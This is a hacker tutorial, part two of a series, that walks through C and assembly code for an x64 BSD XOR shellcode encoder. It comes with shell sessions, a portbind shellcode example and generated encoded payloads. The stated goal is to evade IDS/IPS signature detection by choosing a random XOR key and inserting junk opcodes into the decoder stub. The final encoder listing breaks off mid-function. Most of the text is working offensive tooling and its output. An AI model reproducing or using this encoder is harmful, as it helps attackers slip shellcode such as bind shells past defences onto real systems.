Part 2 of http://lucifer.phiral.net/x64_xor_encoder.txt Download code at: http://lucifer.phiral.net/x64_bsd_encoder_2.tgz Code is not optimized at all, only used as an example. This only for shellcode less then 255 bytes, anything over and you would have to change the loader - the old encoder does this for you if you need and example. The last encoder.c wrote the loader.s assembly file, using 1) the byte used to xor your shellcode and 2) the bytes that it read from ./sc.bin. It assembled and linked loader.s, then dumped the opcodes with a shell script - basically showing the steps in a way that was easy to reproduce. The loader.s template always looked like: .section .data .globl _start _start: xorq %r8, %r8 movb , %r9b <------- #1 jmp get_sc_addr jmp_back: popq %rax xorq %rcx, %rcx xorq %rbx, %rbx xor_loop: movb (%rax, %rcx, 1), %bl cmpq %r8, %rbx je exec_sc xorb %r9b, %bl movb %bl, (%rax, %rcx, 1) incq %rcx jmp xor_loop get_sc_addr: call jmp_back exec_sc: .byte 0x,0x,0x... ^ | <------- #2 Which you can see by just running ./encoder from part 1 and cat'ing loader.s. Example: [entropy@phiral.net ~/code/encoder/fids/old]$ wget http://lucifer.phiral.net/x64_bsd_encoder.tgz 100%[============================================================>] 3,002 --.-K/s in 0.04s 2011-09-01 17:30:07 (81.6 KB/s) - `x64_bsd_encoder.tgz' saved [3002/3002] [entropy@phiral.net ~/code/encoder/fids/old]$ tar -xvzf x64_bsd_encoder.tgz x encoder.c x get-sc.sh x portbind.s x shell.s x exec-sc.c x hello_world.s x sc.sh [entropy@phiral.net ~/code/encoder/fids/old]$ gcc encoder.c -o encoder [entropy@phiral.net ~/code/encoder/fids/old]$ as portbind.s -o portbind.o [entropy@phiral.net ~/code/encoder/fids/old]$ ld portbind.o -o portbind [entropy@phiral.net ~/code/encoder/fids/old]$ ./get-sc.sh portbind "\x90\x6a\x61\x58\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\xcd\x80\x4d\x31\xc0\x41\x89\xc0\x4d\x31[...] [entropy@phiral.net ~/code/encoder/fids/old]$ perl -e 'print "\x90\x6a\x61[...]";' > sc.bin [entropy@phiral.net ~/code/encoder/fids/old]$ ./encoder shellcode length: 178 "\x4d\x31\xc0\x41\xb1\x03\xeb\x1a\x58\x48\x31\xc9\x48\x31\xdb" "\x8a\x1c\x08\x4c\x39\xc3\x74\x10\x44\x30\xcb\x88\x1c\x08\x48" "\xff\xc1\xeb\xed\xe8\xe1\xff\xff\xff\x93\x69\x62\x5b\x69\x01" "\x5c\x69\x02\x5d\x69\x05\x59\xce\x83\x4e\x32\xc3\x42\x8a\xc3" "\x4e\x32\xd1\x42\x51\x42\x51\x4b\x32\xca\xb2\x02\xc5\x07\x0f" "\x01\xb2\x01\x65\xc4\x07\x0f\x19\x09\x69\x6b\x5b\x42\x53\x5c" "\x4b\x8a\xe5\x69\x13\x59\xce\x83\x69\x69\x5b\x42\x53\x5c\x69" "\x02\x5d\xce\x83\x69\x1d\x5b\x42\x53\x5c\x4b\x8a\xe5\x4b\x32" "\xca\xb2\x13\x52\x4b\x8a\xe1\xce\x83\x5a\x4e\x32\xca\x42\x8a" "\xc2\x69\x59\x5b\x47\x8a\xcc\x4b\x32\xf5\xce\x83\x69\x59\x5b" "\x47\x8a\xcc\x69\x02\x5d\xce\x83\x69\x59\x5b\x47\x8a\xcc\x69" "\x01\x5d\xce\x83\x69\x38\x5b\x4b\x32\xca\x52\x4b\x8a\xe5\x4b" "\xba\x2c\x61\x6a\x6d\x2c\x70\x6b\xa9\x52\x4b\x8a\xe4\x4b\x32" "\xd8\x4b\x32\xca\xb2\x04\x8b\x1f\x0f\x4b\x32\xd1\xce\x83\x69" "\x02\x5b\x4b\x32\xfc\xce\x83" [entropy@phiral.net ~/code/encoder/fids/old]$ cat loader.s .section .data .globl _start _start: xorq %r8, %r8 movb $3, %r9b <------------ $3 is what this is xoring with jmp get_sc_addr jmp_back: popq %rax xorq %rcx, %rcx xorq %rbx, %rbx xor_loop: movb (%rax, %rcx, 1), %bl cmpq %r8, %rbx je exec_sc xorb %r9b, %bl movb %bl, (%rax, %rcx, 1) incq %rcx jmp xor_loop get_sc_addr: call jmp_back exec_sc: .byte 0x93,0x69,0x62,0x5b,0x69,0x01,0x5c,0x69,0x02,0x5d,0x69,0x05,0x59,0xce,0x83[...] ^ ^ xored with $3 shellcode bytes Since this was written to the .data section and not the .text (you have to change from .text section as its readonly+execute). 1 .text 0000fcb0 0000000000400240 0000000000400240 00000240 2**6 CONTENTS, ALLOC, LOAD, READONLY, CODE 15 .data 00000018 0000000000500af8 0000000000500af8 00000af8 2**3 CONTENTS, ALLOC, LOAD, DATA Change .data section to .text and re-assemble and link so you can dump opcodes of the encoder easily. [entropy@phiral.net ~/code/encoder/fids/old]$ cat loader.s | sed -e 's/.data/.text/g' > load.s [entropy@phiral.net ~/code/encoder/fids/old]$ as -gstabs load.s -o load.o [entropy@phiral.net ~/code/encoder/fids/old]$ ld load.o -o load [entropy@phiral.net ~/code/encoder/fids/old]$ objdump -d load [...] 00000000004000b0 <_start>: 4000b0: 4d 31 c0 xor %r8,%r8 4000b3: 41 b1 03 mov $0x3,%r9b 4000b6: eb 1a jmp 4000d2 00000000004000b8 : 4000b8: 58 pop %rax 4000b9: 48 31 c9 xor %rcx,%rcx 4000bc: 48 31 db xor %rbx,%rbx 00000000004000bf : 4000bf: 8a 1c 08 mov (%rax,%rcx,1),%bl 4000c2: 4c 39 c3 cmp %r8,%rbx 4000c5: 74 10 je 4000d7 4000c7: 44 30 cb xor %r9b,%bl 4000ca: 88 1c 08 mov %bl,(%rax,%rcx,1) 4000cd: 48 ff c1 inc %rcx 4000d0: eb ed jmp 4000bf 00000000004000d2 : 4000d2: e8 e1 ff ff ff callq 4000b8 [...] Everything from down is the shellcode. So the decoder in C looks like: unsigned char decoder[] = "\x4d\x31\xc0" /* xor %r8,%r8 */ "\x41\xb1\x03" /* mov $0x3,%r9b */ "\xeb\x1a" /* jmp 4000d2 */ "\x58" /* pop %rax */ "\x48\x31\xc9" /* xor %rcx,%rcx */ "\x48\x31\xdb" /* xor %rbx,%rbx */ "\x8a\x1c\x08" /* mov (%rax,%rcx,1),%bl */ "\x4c\x39\xc3" /* cmp %r8,%rbx */ "\x74\x10" /* je 4000d7 */ "\x44\x30\xcb" /* xor %r9b,%bl */ "\x88\x1c\x08" /* mov %bl,(%rax,%rcx,1) */ "\x48\xff\xc1" /* inc %rcx */ "\xeb\xed" /* jmp 4000bf */ "\xe8\xe1\xff\xff\xff"; /* callq 4000b8 */ Except in the old encoder.c I picked the first available good byte I could xor everything with and not get a \x0, in this one I make an array of all good bytes and randomly pick one. So the first change is the line: "\x41\xb1\x03" /* mov $0x3,%r9b */ will change to "\x41\xb1\x00" /* mov $0x00,%r9b */ where 00 is some byte we can xor all the shellcode with. Thats the 5th byte from the start of decoder, so overwrite that when we find a suitable one. The new C code looks like: [entropy@phiral.net ~/code/encoder/fids/fini/1/1]$ cat encoder.c #include #include #include #include #include #include #include unsigned char decoder[] = "\x4d\x31\xc0" /* xor %r8,%r8 */ "\x41\xb1\x00" /* mov $0x00,%r9b */ "\xeb\x1a" /* jmp 4000d2 */ "\x58" /* pop %rax */ "\x48\x31\xc9" /* xor %rcx,%rcx */ "\x48\x31\xdb" /* xor %rbx,%rbx */ "\x8a\x1c\x08" /* mov (%rax,%rcx,1),%bl */ "\x4c\x39\xc3" /* cmp %r8,%rbx */ "\x74\x10" /* je 4000d7 */ "\x44\x30\xcb" /* xor %r9b,%bl */ "\x88\x1c\x08" /* mov %bl,(%rax,%rcx,1) */ "\x48\xff\xc1" /* inc %rcx */ "\xeb\xed" /* jmp 4000bf */ "\xe8\xe1\xff\xff\xff"; /* callq 4000b8 */ int main(int argc, char **argv) { struct stat sstat; int i, n, fd, len, xor_with; int dlen; unsigned char *fbuf, *ebuf; unsigned char bad_bytes[256] = {0}; unsigned char good_bytes[256] = {0}; /* open the sc.bin file and read all the bytes */ if (lstat("sc.bin", &sstat) < 0) { _exit(-1); } len = sstat.st_size; if ((fbuf = (unsigned char *)malloc(len)) == NULL) { perror("malloc"); _exit(-1); } if ((fd = open("sc.bin", O_RDONLY)) < 0) { perror("open"); _exit(-1); } if (read(fd, fbuf, len) != len) { perror("read"); _exit(-1); } close(fd); /* try every byte xored, if its \x0 add to bad_bytes */ for (n = 0; n < len; n++) { for (i = 1; i < 256; i++) { if ((i^*(fbuf+n)) == 0) bad_bytes[i] = i; } } /* if its not a bad_byte its a good_one (ordered) */ for (i = 1, n = 0; i < 256; i++) { if (bad_bytes[i] == '\0') good_bytes[n++] = i; } srand((unsigned)time(NULL)); xor_with = good_bytes[rand()%n]; if (xor_with) { printf("\n[x] Choose to XOR with 0x%02x\n\n", xor_with); srand((unsigned)time(NULL)); xor_with = good_bytes[rand()%n]; /* overwrite that 5th xor byte with the xor_with byte */ decoder[5] = xor_with; dlen = strlen((char *)decoder); if ((ebuf = (unsigned char *)malloc(dlen+len+1)) == NULL) { perror("malloc"); _exit(-1); } memset(ebuf, '\x0', sizeof(ebuf)); /* copy the en/decoder into the array */ for (i = 0; i < dlen; i++) { ebuf[i] = decoder[i]; } /* copy the xored shellcode byes in */ for (i = 0; i < len; i++) { ebuf[(i+dlen)] = xor_with^*(fbuf+i); } printf("\n\""); for (i = 0; i < strlen((char *)ebuf); i++) { if (i > 0 && i % 15 == 0) printf("\"\n\""); printf("\\x%02x", ebuf[i]); } printf("\";\n\n"); return 0; } else { printf("\n[*] No byte found to XOR with :(\n"); _exit(-1); } return 0; } [entropy@phiral.net ~/code/encoder/fids/fini/1/1]$ gcc -Wall encoder.c -o encoder [entropy@phiral.net ~/code/encoder/fids/fini/1/1]$ as hello_world.s -o hello_world.o [entropy@phiral.net ~/code/encoder/fids/fini/1/1]$ ld hello_world.o -o hello_world [entropy@phiral.net ~/code/encoder/fids/fini/1/1]$ ./write-sc.sh Usage: ./write-sc.sh Dumps opcodes from assembled and linked bin, then perl -e 'print ;' to sc.bin. Example: as code.s -o code.o ld code.o -o code ./write-sc.sh code [entropy@phiral.net ~/code/encoder/fids/fini/1/1]$ ./write-sc.sh hello_world Now everytime its run it will pseudo randomly pick the byte to xor with out of the array of good_bytes. [entropy@phiral.net ~/code/encoder/fids/fini/1/1]$ ./encoder [x] Choose to XOR with 0xfd "\x4d\x31\xc0\x41\xb1\xfd\xeb\x1a\x58\x48\x31\xc9\x48\x31\xdb" "\x8a\x1c\x08\x4c\x39\xc3\x74\x10\x44\x30\xcb\x88\x1c\x08\x48" "\xff\xc1\xeb\xed\xe8\xe1\xff\xff\xff\x6d\x97\xf9\xa5\x97\xfc" "\xa2\xb5\x44\x92\x8f\x91\x99\xdc\xf7\x57\x57\xac\xb5\x44\xb5" "\x98\x91\x91\x92\xd1\xdd\xaa\xac\xb5\xcc\x26\xb5\xcc\x34\x44" "\xf3\xfd\xfd\xfd\x9b\x74\xe1\xf1\xb5\x74\x1b\x97\xf3\xa7\x30" "\x7d\xa4\xa4\x97\xfc\xa5\x97\xfd\xa2\x30\x7d"; [entropy@phiral.net ~/code/encoder/fids/fini/1/1]$ ./encoder [x] Choose to XOR with 0xb7 "\x4d\x31\xc0\x41\xb1\xb7\xeb\x1a\x58\x48\x31\xc9\x48\x31\xdb" "\x8a\x1c\x08\x4c\x39\xc3\x74\x10\x44\x30\xcb\x88\x1c\x08\x48" "\xff\xc1\xeb\xed\xe8\xe1\xff\xff\xff\x27\xdd\xb3\xef\xdd\xb6" "\xe8\xff\x0e\xd8\xc5\xdb\xd3\x96\xbd\x1d\x1d\xe6\xff\x0e\xff" "\xd2\xdb\xdb\xd8\x9b\x97\xe0\xe6\xff\x86\x6c\xff\x86\x7e\x0e" "\xb9\xb7\xb7\xb7\xd1\x3e\xab\xbb\xff\x3e\x51\xdd\xb9\xed\x7a" "\x37\xee\xee\xdd\xb6\xef\xdd\xb7\xe8\x7a\x37"; [entropy@phiral.net ~/code/encoder/fids/fini/1/1]$ ./encoder [x] Choose to XOR with 0xeb "\x4d\x31\xc0\x41\xb1\xeb\xeb\x1a\x58\x48\x31\xc9\x48\x31\xdb" "\x8a\x1c\x08\x4c\x39\xc3\x74\x10\x44\x30\xcb\x88\x1c\x08\x48" "\xff\xc1\xeb\xed\xe8\xe1\xff\xff\xff\x7b\x81\xef\xb3\x81\xea" "\xb4\xa3\x52\x84\x99\x87\x8f\xca\xe1\x41\x41\xba\xa3\x52\xa3" "\x8e\x87\x87\x84\xc7\xcb\xbc\xba\xa3\xda\x30\xa3\xda\x22\x52" "\xe5\xeb\xeb\xeb\x8d\x62\xf7\xe7\xa3\x62\x0d\x81\xe5\xb1\x26" "\x6b\xb2\xb2\x81\xea\xb3\x81\xeb\xb4\x26\x6b"; But the problem is the decoder code is always the same, so any ids/ips/hids etc will be able to pick it up with their leet string matching 100k dollar skillz. A solution is to put some random useless shit opcodes before and in between the decoder. Obviously this will make the shellcode larger. I dont use any registers above %r9 in code so make up a useless.s with a bunch of useless asm, assemble and link it and dump opcodes. [entropy@phiral.net ~/code/encoder/fids]$ cat useless.s .section .text .globl _start _start: nop xor %r10, %r10 xor %r11, %r11 xor %r12, %r12 xor %r13, %r13 xor %r14, %r14 xor %r15, %r15 shr $8, %r10 shl $8, %r10 shr $8, %r11 shl $8, %r11 shr $8, %r12 shl $8, %r12 shr $8, %r13 shl $8, %r13 shr $8, %r14 shl $8, %r14 shr $8, %r15 shl $8, %r15 incq %r10 decq %r10 incq %r11 decq %r11 incq %r12 decq %r12 incq %r13 decq %r13 incq %r14 decq %r14 incq %r15 decq %r15 Obvioulsy theres a fuck load of others that would work also but... [entropy@phiral.net ~/code/encoder/fids]$ as useless.s -o useless.o [entropy@phiral.net ~/code/encoder/fids]$ ld useless.o -o useless [entropy@phiral.net ~/code/encoder/fids]$ objdump -d ./useless | grep -v 'file' |cut -d: -f2|cut -f1-7 -d' '|tr -s ' '| tr '\t' ' '|sed 's/ $//g' | sed -e '/^$/d' 90 4d 31 d2 4d 31 db 4d 31 e4 4d 31 ed 4d 31 f6 4d 31 ff 49 c1 ea 08 49 c1 e2 08 49 c1 eb 08 49 c1 e3 08 49 c1 ec 08 49 c1 e4 08 49 c1 ed 08 49 c1 e5 08 49 c1 ee 08 49 c1 e6 08 49 c1 ef 08 49 c1 e7 08 49 ff c2 49 ff ca 49 ff c3 49 ff cb 49 ff c4 49 ff cc 49 ff c5 49 ff cd 49 ff c6 49 ff ce 49 ff c7 49 ff cf And in C: [entropy@phiral.net ~/code/encoder/fids]$ objdump -d ./useless | grep -v 'file' |cut -d: -f2|cut -f1-7 -d' '|tr -s ' '| tr '\t' ' '|sed 's/ $//g' | sed -e '/^$/d' | wc 31 103 340 31 lines of... unsigned char useless[][5] = { {"\x90"}, /* nop */ {"\x4d\x31\xd2"}, /* xor %r10,%r10 */ {"\x4d\x31\xdb"}, /* xor %r10,%r10 */ {"\x4d\x31\xe4"}, /* xor %r10,%r10 */ {"\x4d\x31\xed"}, /* xor %r10,%r10 */ {"\x4d\x31\xf6"}, /* xor %r10,%r10 */ {"\x4d\x31\xff"}, /* xor %r10,%r10 */ {"\x49\xc1\xea\x08"}, /* shr $0x8,%r10 */ {"\x49\xc1\xe2\x08"}, /* shl $0x8,%r10 */ {"\x49\xc1\xeb\x08"}, /* shr $0x8,%r10 */ {"\x49\xc1\xe3\x08"}, /* shl $0x8,%r10 */ {"\x49\xc1\xec\x08"}, /* shr $0x8,%r10 */ {"\x49\xc1\xe4\x08"}, /* shl $0x8,%r10 */ {"\x49\xc1\xed\x08"}, /* shr $0x8,%r10 */ {"\x49\xc1\xe5\x08"}, /* shl $0x8,%r10 */ {"\x49\xc1\xee\x08"}, /* shr $0x8,%r10 */ {"\x49\xc1\xe6\x08"}, /* shl $0x8,%r10 */ {"\x49\xc1\xef\x08"}, /* shr $0x8,%r10 */ {"\x49\xc1\xe7\x08"}, /* shl $0x8,%r10 */ {"\x49\xff\xc2"}, /* inc %r10 */ {"\x49\xff\xca"}, /* dec %r10 */ {"\x49\xff\xc3"}, /* inc %r10 */ {"\x49\xff\xcb"}, /* dec %r10 */ {"\x49\xff\xc4"}, /* inc %r10 */ {"\x49\xff\xcc"}, /* dec %r10 */ {"\x49\xff\xc5"}, /* inc %r10 */ {"\x49\xff\xcd"}, /* dec %r10 */ {"\x49\xff\xc6"}, /* inc %r10 */ {"\x49\xff\xce"}, /* dec %r10 */ {"\x49\xff\xc7"}, /* inc %r10 */ {"\x49\xff\xcf"}}; /* dec %r10 */ The new encoder.c looks like: [entropy@phiral.net ~/code/encoder/fids/fini/1/2]$ cat encoder.c #include #include #include #include #include #include #include unsigned char decoder[] = "\x4d\x31\xc0" /* xor %r8,%r8 */ "\x41\xb1\x00" /* mov $0x00,%r9b */ "\xeb\x1a" /* jmp 4000d2 */ "\x58" /* pop %rax */ "\x48\x31\xc9" /* xor %rcx,%rcx */ "\x48\x31\xdb" /* xor %rbx,%rbx */ "\x8a\x1c\x08" /* mov (%rax,%rcx,1),%bl */ "\x4c\x39\xc3" /* cmp %r8,%rbx */ "\x74\x10" /* je 4000d7 */ "\x44\x30\xcb" /* xor %r9b,%bl */ "\x88\x1c\x08" /* mov %bl,(%rax,%rcx,1) */ "\x48\xff\xc1" /* inc %rcx */ "\xeb\xed" /* jmp 4000bf */ "\xe8\xe1\xff\xff\xff"; /* callq 4000b8 */ unsigned char useless[][5] = { {"\x90"}, /* nop */ {"\x4d\x31\xd2"}, /* xor %r10,%r10 */ {"\x4d\x31\xdb"}, /* xor %r10,%r10 */ {"\x4d\x31\xe4"}, /* xor %r10,%r10 */ {"\x4d\x31\xed"}, /* xor %r10,%r10 */ {"\x4d\x31\xf6"}, /* xor %r10,%r10 */ {"\x4d\x31\xff"}, /* xor %r10,%r10 */ {"\x49\xc1\xea\x08"}, /* shr $0x8,%r10 */ {"\x49\xc1\xe2\x08"}, /* shl $0x8,%r10 */ {"\x49\xc1\xeb\x08"}, /* shr $0x8,%r10 */ {"\x49\xc1\xe3\x08"}, /* shl $0x8,%r10 */ {"\x49\xc1\xec\x08"}, /* shr $0x8,%r10 */ {"\x49\xc1\xe4\x08"}, /* shl $0x8,%r10 */ {"\x49\xc1\xed\x08"}, /* shr $0x8,%r10 */ {"\x49\xc1\xe5\x08"}, /* shl $0x8,%r10 */ {"\x49\xc1\xee\x08"}, /* shr $0x8,%r10 */ {"\x49\xc1\xe6\x08"}, /* shl $0x8,%r10 */ {"\x49\xc1\xef\x08"}, /* shr $0x8,%r10 */ {"\x49\xc1\xe7\x08"}, /* shl $0x8,%r10 */ {"\x49\xff\xc2"}, /* inc %r10 */ {"\x49\xff\xca"}, /* dec %r10 */ {"\x49\xff\xc3"}, /* inc %r10 */ {"\x49\xff\xcb"}, /* dec %r10 */ {"\x49\xff\xc4"}, /* inc %r10 */ {"\x49\xff\xcc"}, /* dec %r10 */ {"\x49\xff\xc5"}, /* inc %r10 */ {"\x49\xff\xcd"}, /* dec %r10 */ {"\x49\xff\xc6"}, /* inc %r10 */ {"\x49\xff\xce"}, /* dec %r10 */ {"\x49\xff\xc7"}, /* inc %r10 */ {"\x49\xff\xcf"}}; /* dec %r10 */ int main(int argc, char **argv) { struct stat sstat; int i, n, fd, len, xor_with; int dlen, plen; unsigned char *fbuf, *ebuf; unsigned char bad_bytes[256] = {0}; unsigned char good_bytes[256] = {0}; /* open the sc.bin file and read all the bytes */ if (lstat("sc.bin", &sstat) < 0) { _exit(-1); } len = sstat.st_size; if ((fbuf = (unsigned char *)malloc(len)) == NULL) { perror("malloc"); _exit(-1); } if ((fd = open("sc.bin", O_RDONLY)) < 0) { perror("open"); _exit(-1); } if (read(fd, fbuf, len) != len) { perror("read"); _exit(-1); } close(fd); /* try every byte xored, if its \x0 add to bad_bytes */ for (n = 0; n < len; n++) { for (i = 1; i < 256; i++) { if ((i^*(fbuf+n)) == 0) bad_bytes[i] = i; } } /* if its not a bad_byte its a good_one (ordered) */ for (i = 1, n = 0; i < 256; i++) { if (bad_bytes[i] == '\0') good_bytes[n++] = i; } srand((unsigned)time(NULL)); xor_with = good_bytes[rand()%n]; if (xor_with) { printf("\n[x] Choose to XOR with 0x%02x\n\n", xor_with); srand((unsigned)time(NULL)); xor_with = good_bytes[rand()%n]; /* overwrite that 5th xor byte with the xor_with byte */ decoder[5] = xor_with; dlen = strlen((char *)decoder); /* prepend: longest useless[] instruction were using is four bytes * randomly prepend between one and four useless instructions so * sixteen bytes at maximim. */ if ((ebuf = (unsigned char *)malloc(16+dlen+len+1)) == NULL) { perror("malloc"); _exit(-1); } memset(ebuf, '\x0', sizeof(ebuf)); /* randomly prepend between one and four instructions */ /* thirty one lines of useless[] instructions in 2d array */ n = rand()%(4 + 1); for (i = 0, plen = 0; i < n; i++) { int k, opcode = rand()%31; printf("[p] Prepending useless opcodes: "); for (k = 0; k < strlen((char *)useless[opcode]); k++) { printf("\\x%02x", useless[opcode][k]); } printf("\n"); memcpy(ebuf+plen, useless[opcode], strlen((char *)useless[opcode])); plen += strlen((char *)useless[opcode]); } printf("\n"); for (i = 0; i < dlen; i++) { ebuf[(i+plen)] = decoder[i]; } /* copy the xored shellcode byes in */ for (i = 0; i < len; i++) { ebuf[(i+dlen+plen)] = xor_with^*(fbuf+i); } printf("\n\""); for (i = 0; i < strlen((char *)ebuf); i++) { if (i > 0 && i % 15 == 0) printf("\"\n\""); printf("\\x%02x", ebuf[i]); } printf("\";\n\n"); return 0; } else { printf("\n[*] No byte found to XOR with :(\n"); _exit(-1); } return 0; } [entropy@phiral.net ~/code/encoder/fids/fini/1/2]$ gcc -Wall encoder.c -o encoder [entropy@phiral.net ~/code/encoder/fids/fini/1/2]$ as hello_world.s -o hello_world.o [entropy@phiral.net ~/code/encoder/fids/fini/1/2]$ ld hello_world.o -o hello_world [entropy@phiral.net ~/code/encoder/fids/fini/1/2]$ ./write-sc.sh hello_world [entropy@phiral.net ~/code/encoder/fids/fini/1/2]$ ./encoder [x] Choose to XOR with 0x1f [p] Prepending useless opcodes: \x49\xff\xc4 [p] Prepending useless opcodes: \x49\xc1\xe5\x08 [p] Prepending useless opcodes: \x49\xff\xc7 "\x49\xff\xc4\x49\xc1\xe5\x08\x49\xff\xc7\x4d\x31\xc0\x41\xb1" "\x1f\xeb\x1a\x58\x48\x31\xc9\x48\x31\xdb\x8a\x1c\x08\x4c\x39" "\xc3\x74\x10\x44\x30\xcb\x88\x1c\x08\x48\xff\xc1\xeb\xed\xe8" "\xe1\xff\xff\xff\x8f\x75\x1b\x47\x75\x1e\x40\x57\xa6\x70\x6d" "\x73\x7b\x3e\x15\xb5\xb5\x4e\x57\xa6\x57\x7a\x73\x73\x70\x33" "\x3f\x48\x4e\x57\x2e\xc4\x57\x2e\xd6\xa6\x11\x1f\x1f\x1f\x79" "\x96\x03\x13\x57\x96\xf9\x75\x11\x45\xd2\x9f\x46\x46\x75\x1e" "\x47\x75\x1f\x40\xd2\x9f"; [entropy@phiral.net ~/code/encoder/fids/fini/1/2]$ ./encoder [x] Choose to XOR with 0x8f [p] Prepending useless opcodes: \x4d\x31\xf6 "\x4d\x31\xf6\x4d\x31\xc0\x41\xb1\x8f\xeb\x1a\x58\x48\x31\xc9" "\x48\x31\xdb\x8a\x1c\x08\x4c\x39\xc3\x74\x10\x44\x30\xcb\x88" "\x1c\x08\x48\xff\xc1\xeb\xed\xe8\xe1\xff\xff\xff\x1f\xe5\x8b" "\xd7\xe5\x8e\xd0\xc7\x36\xe0\xfd\xe3\xeb\xae\x85\x25\x25\xde" "\xc7\x36\xc7\xea\xe3\xe3\xe0\xa3\xaf\xd8\xde\xc7\xbe\x54\xc7" "\xbe\x46\x36\x81\x8f\x8f\x8f\xe9\x06\x93\x83\xc7\x06\x69\xe5" "\x81\xd5\x42\x0f\xd6\xd6\xe5\x8e\xd7\xe5\x8f\xd0\x42\x0f"; [entropy@phiral.net ~/code/encoder/fids/fini/1/2]$ ./encoder [x] Choose to XOR with 0xc8 [p] Prepending useless opcodes: \x49\xc1\xee\x08 [p] Prepending useless opcodes: \x49\xff\xcd [p] Prepending useless opcodes: \x49\xc1\xea\x08 "\x49\xc1\xee\x08\x49\xff\xcd\x49\xc1\xea\x08\x4d\x31\xc0\x41" "\xb1\xc8\xeb\x1a\x58\x48\x31\xc9\x48\x31\xdb\x8a\x1c\x08\x4c" "\x39\xc3\x74\x10\x44\x30\xcb\x88\x1c\x08\x48\xff\xc1\xeb\xed" "\xe8\xe1\xff\xff\xff\x58\xa2\xcc\x90\xa2\xc9\x97\x80\x71\xa7" "\xba\xa4\xac\xe9\xc2\x62\x62\x99\x80\x71\x80\xad\xa4\xa4\xa7" "\xe4\xe8\x9f\x99\x80\xf9\x13\x80\xf9\x01\x71\xc6\xc8\xc8\xc8" "\xae\x41\xd4\xc4\x80\x41\x2e\xa2\xc6\x92\x05\x48\x91\x91\xa2" "\xc9\x90\xa2\xc8\x97\x05\x48"; etc. Now to insert useless opcodes between the decoder. The instructions chosen will not effect anything in this, so after each instruction up until the jmp it is possible to insert any of them. Obviously you cant insert any after the jmp as it would fuck up the relative offset, but if your willing to fix the jmp offsets its possible. "\x4d\x31\xc0" /* xor %r8,%r8 */ index 2 "\x41\xb1\x00" /* mov $0x00,%r9b */ index 5 "\xeb\x1a" /* jmp 4000d2 */ "\x58" /* pop %rax */ "\x48\x31\xc9" /* xor %rcx,%rcx */ "\x48\x31\xdb" /* xor %rbx,%rbx */ "\x8a\x1c\x08" /* mov (%rax,%rcx,1),%bl */ "\x4c\x39\xc3" /* cmp %r8,%rbx */ "\x74\x10" /* je 4000d7 */ "\x44\x30\xcb" /* xor %r9b,%bl */ "\x88\x1c\x08" /* mov %bl,(%rax,%rcx,1) */ "\x48\xff\xc1" /* inc %rcx */ "\xeb\xed" /* jmp 4000bf */ "\xe8\xe1\xff\xff\xff"; /* callq 4000b8 */ The code to then put random instructions at index 2 and index 5 of the decoder is: [entropy@phiral.net ~/code/encoder/fids/fini/1]$ cat encoder.c #include #include #include #include #include #include #include /* * * im completely rehabilitated, reinvigorated, * reassimilated and relocated psych * */ unsigned char decoder[] = "\x4d\x31\xc0" /* xor %r8,%r8 */ "\x41\xb1\x00" /* mov $0x00,%r9b */ "\xeb\x1a" /* jmp 4000d2 */ "\x58" /* pop %rax */ "\x48\x31\xc9" /* xor %rcx,%rcx */ "\x48\x31\xdb" /* xor %rbx,%rbx */ "\x8a\x1c\x08" /* mov (%rax,%rcx,1),%bl */ "\x4c\x39\xc3" /* cmp %r8,%rbx */ "\x74\x10" /* je 4000d7 */ "\x44\x30\xcb" /* xor %r9b,%bl */ "\x88\x1c\x08" /* mov %bl,(%rax,%rcx,1) */ "\x48\xff\xc1" /* inc %rcx */ "\xeb\xed" /* jmp 4000bf */ "\xe8\xe1\xff\xff\xff"; /* callq 4000b8 */ unsigned char useless[][5] = { {"\x90"}, /* nop */ {"\x4d\x31\xd2"}, /* xor %r10,%r10 */ {"\x4d\x31\xdb"}, /* xor %r10,%r10 */ {"\x4d\x31\xe4"}, /* xor %r10,%r10 */ {"\x4d\x31\xed"}, /* xor %r10,%r10 */ {"\x4d\x31\xf6"}, /* xor %r10,%r10 */ {"\x4d\x31\xff"}, /* xor %r10,%r10 */ {"\x49\xc1\xea\x08"}, /* shr $0x8,%r10 */ {"\x49\xc1\xe2\x08"}, /* shl $0x8,%r10 */ {"\x49\xc1\xeb\x08"}, /* shr $0x8,%r10 */ {"\x49\xc1\xe3\x08"}, /* shl $0x8,%r10 */ {"\x49\xc1\xec\x08"}, /* shr $0x8,%r10 */ {"\x49\xc1\xe4\x08"}, /* shl $0x8,%r10 */ {"\x49\xc1\xed\x08"}, /* shr $0x8,%r10 */ {"\x49\xc1\xe5\x08"}, /* shl $0x8,%r10 */ {"\x49\xc1\xee\x08"}, /* shr $0x8,%r10 */ {"\x49\xc1\xe6\x08"}, /* shl $0x8,%r10 */ {"\x49\xc1\xef\x08"}, /* shr $0x8,%r10 */ {"\x49\xc1\xe7\x08"}, /* shl $0x8,%r10 */ {"\x49\xff\xc2"}, /* inc %r10 */ {"\x49\xff\xca"}, /* dec %r10 */ {"\x49\xff\xc3"}, /* inc %r10 */ {"\x49\xff\xcb"}, /* dec %r10 */ {"\x49\xff\xc4"}, /* inc %r10 */ {"\x49\xff\xcc"}, /* dec %r10 */ {"\x49\xff\xc5"}, /* inc %r10 */ {"\x49\xff\xcd"}, /* dec %r10 */ {"\x49\xff\xc6"}, /* inc %r10 */ {"\x49\xff\xce"}, /* dec %r10 */ {"\x49\xff\xc7"}, /* inc %r10 */ {"\x49\xff\xcf"}}; /* dec %r10 */ void usage(void) { printf("/n/************************************************/\n"); printf("/* */\n"); printf("/* entropy [at] phiral.net */\n"); printf("/* simple x64 bsd xor encoder and obfuscator */\n"); printf("/* */\n"); printf("/************************************************/\n\n"); return; } int main(int argc, char **argv) { struct stat sstat; int i, n, fd, len, xor_with; int dlen, plen, olen; unsigned char *fbuf, *ebuf; unsigned char bad_bytes[256] = {0}; unsigned char good_bytes[256] = {0}; /* open the sc.bin file and read all the bytes */ if (lstat("sc.bin", &sstat) < 0) { usage(); _exit(-1); } len = sstat.st_size; if ((fbuf = (unsigned char *)malloc(len)) == NULL) { perror("malloc"); _exit(-1); } if ((fd = open("sc.bin", O_RDONLY)) < 0) { perror("open"); _exit(-1); } if (read(fd, fbuf, len) != len) { perror("read"); _exit(-1); } close(fd); /* try every byte xored, if its \x0 add to bad_bytes */ for (n = 0; n < len; n++) { for (i = 1; i < 256; i++) { if ((i^*(fbuf+n)) == 0) bad_bytes[i] = i; } } /* if its not a bad_byte its a good_one (ordered) */ for (i = 1, n = 0; i < 256; i++) { if (bad_bytes[i] == '\0') good_bytes[n++] = i; } srand((unsigned)time(NULL)); xor_with = good_bytes[rand()%n]; if (xor_with) { 